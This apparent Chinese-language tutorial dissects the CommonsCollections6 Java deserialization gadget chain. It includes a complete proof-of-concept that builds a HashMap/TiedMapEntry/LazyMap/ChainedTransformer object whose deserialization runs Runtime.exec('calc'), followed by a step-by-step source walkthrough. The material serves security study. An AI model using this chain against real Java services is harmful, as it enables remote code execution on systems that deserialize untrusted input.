分析时所使用的 JDK 版本为: 8u472

CommonsCollections1 中使用了AnnotationInvocationHandler 类进行 gadgets 构造,但是在 jdk8u71 之后 AnnotationInvocationHandler类的readObject()方法实现发生了改变,导致原利用方法在高版本 java 不再适用了。

下面我们不分析 ysoserial 的链,而是学习p牛的简化链。

Gadgets

ObjectInputStream.readObject()
  -> HashMap.readObject()
    -> HashMap.hash(key)
      -> TiedMapEntry.hashCode()
        -> TiedMapEntry.getValue()
          -> LazyMap.get()
            -> ChainedTransformer.transform()
              -> InvokerTransformer.transform()
                -> Method.invoke()
                  -> Runtime.getRuntime()
                  -> Runtime.exec("calc")
​

POC

package CommonsCollections6;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
​
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
​
public class CommonsCollections6 {
    public static void main(String[] args) throws Exception{
​
        // 经典的 transformer 链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
            )
        };
​
        // 过渡 transformer 链,避免在构造阶段触发执行
        Transformer[] fakeTransformers = new Transformer[]{
            new ConstantTransformer(1)
        };
​
        // 链式执行
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
​
        // HashMap 入口
        Map innerMap = new HashMap();
​
        // LazyMap 包装 HashMap
        // LazyMap 只对 get 方法继续了逻辑增强,方法重写
        // 其他的方法都只是继承了 super(map) 然后对 map 的默认行为做转发
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
​
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"sinon1");
        Map expMap = new HashMap();
​
        expMap.put(tiedMapEntry,"sinon2");
​
        outerMap.remove("sinon1");
​
        // 反射修改 chainedTransformer 的 iTransformers 字段
        Class<?> clazz = ChainedTransformer.class;
        Field field = clazz.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);
        byte[] bytes = serialize(expMap);
        unserialize(bytes);
    }
    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }
​
    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
}
​

Sink

作为 CommonsCollections6 的实际执行点, ChainedTransformer 链的实现和在其他 CommonsCollections 链中 区别不大,这里再次简单回顾一下。

使用 Transformer[] 将调用链塞进一个数组,然后在 ChainedTransformer 中调用 transform 方法时,会遍历数组的每一个元素为每个元素依次调用 transform。 每次调用的返回值会重新赋给 object,然后传给下一个 transformer

所以 Gadgets 目标很明确了,就是找到一条外部可控的路径触发 ChainedTransformertransform 方法,即可引爆

        // 经典的 transformer 链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
            )
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 不依赖 cc6 , 使用 ChainedTransformer 自带特性触发调用链,传入参数随意
        Object value = chainedTransformer.transform("Sinon");

ChainedTransformer

ChainedTransformer 构造方法,会将接收到的构造参数,即传递进来的 Transformer[] ,赋给 iTransformers 数组。

    private final Transformer[] iTransformers;
    
    // 将传递进来的 Transformer[] 赋给 iTransformers
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

ChainedTransformer.tranform 遍历数组的每一个元素为每个元素依次调用 transform。 每次调用的返回值会重新赋给 object,然后传给下一个 transformer

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
​
        return object;
    }

我们前文使用 ChainedTransformer.transform 触发完整的链

我们关注到 tranform 数组第一个入口类为: ConstantTransformer ,他的 transform 方法如下,即不关注入参直接返回构造时给的常量

    public Object transform(Object input) {
        return this.iConstant;
    }

所以如下即可触发完整链调用。

    // 入参可为任意值
    Object value = chainedTransformer.transform("Sinon");

Trigger Chain

我们从 Sink 往源入口学习 CommonsCollections6 的原理,而先不追求自己审计出一条链。

现在我们可以来分析为什么 LazyMap.get() 能够触发 chainedTransformer.transform

LazyMap

LazyMap 本质上是一个 Map 的装饰器(Decorator),它不自己真正存数据,而是包装一个真实的 Map,在此基础上做了一点懒加载增强:它对绝大部分 Map 方法只是简单转发到底层 Map ,只有对 get方法增强了。

从他的方法实现上,应该很清晰明了了,LazyMap 增强的 get 方法为,当在Map 对象中尝试 get 一个 key 时,如果对象中没有这个 key 就用 transformer 动态生成一个,再存进去。如果已经有这个 key,直接返回原来的值

    protected final Transformer factory;
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

所以我们只需要构造一个 LazyMap 对象,然后 get 一个不存在的 key 就能触发 this.factory.transform(key)

所以接下来,我们想个办法将 LazyMap.factory 赋成 ChainedTransformer 就行了。

不难看到LazyMap 作为一个装饰器类,自然提供了 decorate 方法,当我们对一个 map 进行装饰的时候,传入的 Transformer factory 设置为 ChainedTransformer 即可将 LazyMap.factory 转为 ChainedTransformer

所以有前文 POC

        // HashMap 入口
        Map innerMap = new HashMap();
​
        // LazyMap 包装 HashMap
        // LazyMap 只对 get 方法进行了逻辑增强
        // 其他的方法都只是继承了 super(map) 然后对 map 的默认行为做转发
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

TiedMapEntry

现在我们思路有了,即找到一个方法来调用 LazyMap 实例来 get 一个不存在的 key

很巧的是 TiedMapEntry 刚好能够实现这个目标。

TiedMapEntry 的构造方法期望一个 map 和一个 key ,而当我们调用 TiedMapEntry.getValue 会调用 this.map.get(this.key)

很容易想到如果这个 map 是经过 LazyMap装饰的 map 实例,就实现了前文需求的 LazyMap.get

所以就有了 POC 中的:

        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"sinon1");

现在又有一个问题,我们要怎么去找到一个点,能够在反序列化过程中自动的调用到 TiedMapEntry.getValue 呢?

反序列化期望的是 触发条件少,自动化程度高,依赖少,可复现性强,JDK 自带,环境普遍存在

很显然,除了自己设计的业务逻辑外,几乎不会有自动遍历调用 TiedMapEntry.getValue 这种场景。我们不妨继续看看 TiedMapEntry 的实现细节。

可以发现 getValue 方法,有被 TiedMapEntry 类中的其他方法使用。

一个是 equals 一个是 hashCode

看到 hashCode 方法,我们就应该意识到,链路节点就在这里。

在 JDK8 中,HashMap 在反序列化时 几乎必然 会调用 key.hashCode() ,那么我们就应该从 hashCode 方法间接的调用到 getValue

而不是去尝试寻找一条自动化直接调用 `TiedMapEntry.getValue 的新链。

所以我们只要将 HashMapkey 设计为 TiedMapEntry 实例,就完美的将链打通了。

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"sinon1");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry,"sinon2");

HashMap

正如上所说,我们现在来看看 HashMap 是怎么实现的。

    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
​
        ObjectInputStream.GetField fields = s.readFields();
​
        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);
​
        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);
​
        reinitialize();
​
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
​
            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;
​
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
​
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }    
    

不难看到, HashMap 所实现的 readObject 逻辑中,只要 map 非空,则读出每一个 key/valueputVal → 触发 hash() 然后再到 hashCode()

            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }

自此,整条 Gadgets 链就串联起来了

ObjectInputStream.readObject()
  -> HashMap.readObject()
    -> HashMap.hash(key)
      -> TiedMapEntry.hashCode()
        -> TiedMapEntry.getValue()
          -> LazyMap.get()
            -> ChainedTransformer.transform()
              -> InvokerTransformer.transform()
                -> Method.invoke()
                  -> Runtime.getRuntime()
                  -> Runtime.exec("calc")
​


国家一级保护废物